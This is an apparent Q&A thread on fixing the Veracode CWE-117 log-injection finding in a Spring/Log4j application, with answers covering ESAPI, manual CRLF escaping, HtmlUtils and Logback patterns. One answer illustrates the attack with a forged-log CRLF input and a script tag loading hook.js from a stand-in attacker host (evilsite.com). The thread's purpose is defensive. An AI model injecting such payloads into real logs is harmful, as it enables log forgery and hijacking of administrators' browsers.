How to fix Veracode CWE 117 (Improper Output Neutralization for Logs)

Question

There is an Spring global @ExceptionHandler(Exception.class) method which logs exception like that:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode scan says that this logging has Improper Output Neutralization for Logs and suggest to use ESAPI logger. Is there any way how to fix this vulnerability without changing logger to ESAPI? This is the only place in code where I faced this issue and I try to figure out how to fix it with minimum changes. Maybe ESAPI has some methods I haven't noticed?

P.S. Current logger is Log4j over slf4j

UPD: In the end I used ESAPI logger. I thought it wouldn't use my default logging service, but I was wrong and it simply used my slf4j logger interface with appropriate configuration.

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI has extension of log4j logger and logger factory. It can be configured what to use in ESAPI.properties. For example:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

Answer 1

Is there any way how to fix this vulnerability without changing logger to ESAPI?

In short, yes.

TLDR:

First understand the gravity of the error. The main concern is in falsifying the log statments. Say you had code like this:

log.error( transactionId + " for user " + username + " was unsuccessful."

If either variable is under user control they can inject false logging statements by using inputs like \r\n for user foobar was successful\rn thus allowing them to falsify the log and cover their tracks. (Well, in this contrived case, just make it a little harder to see what happened.)

The second method of attack is more of a chess move. Many logs are HTML formatted to be viewed in another program, for this example, we'll pretend the logs are meant to be HTML files to be viewed in a browser. Now we inject <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script> and you will have hooked a browser with an exploitation framework that's most likely executing as a server admin... because its doubtful that the CEO is going to be reading the log. Now the real hack can begin.

Defenses:

A simple defense is to make sure that all log statements with userinput escape the characters '\n' and '\r' with something obvious, like '֎' or you can do what ESAPI does and escape with the underscore. It really doesn't matter as long as its consistent, just keep in mind not to use character sets that would confuse you in the log. Something like userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

I also find it useful to make sure that log formats are exquisitely specified... meaning that you make sure you have a strict standard for what log statements need to look like and construct your formatting so that catching a malicious user is easier. All programmers must submit to the party and follow the format!

To defend against the HTML scenario, I would use the [OWASP encoder project][1]

As to why ESAPI's implementation is suggested, it is a very battle-tested library, but in a nutshell, this is essentially what we do. See the code:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

See lines 398-453. That's all the escaping that ESAPI provides. I would suggest copying the unit tests as well.

[DISCLAIMER]: I am project co-lead on ESAPI.

[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project and make sure your inputs are properly encoded when going into logging statements--every bit as much as when you're sending input back to the user.

Answer 2

I am new to Veracode and was facing CWE-117. I understood this error is raised by Veracode when your logger statement has the potential to get attacked via malicious request's parameter values passed in. So we need to removed /r and /n (CRLF) from variables that are getting used in the logger statement.

Most of the newbie will wonder what method should be used to remove CRLF from variable passed in logger statement. Also sometime replaceAll() will not work as it is not an approved method by Veracode. Therefore, here is the link to approved methods by Veracode to handles CWE problems. https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA

In my case I have used org.springframework.web.util.HtmlUtils.htmlEscape mentioned in the above link and it resolved the problem.

private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));

Answer 3

Though I am a bit late but I think it would help those who do not want to use ESAPI library and facing issue only for exception handler class

Use apache commons library

import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));

Answer 4

If you are using Logback use the replace function in your logback config pattern

original pattern

<pattern>%d %level %logger : %msg%n</pattern>

with replace

<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>

if you want to strip <script> tag as well

<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|&lt;script', '_'} %n</pattern>

This way you dont need to to modify individual log statements.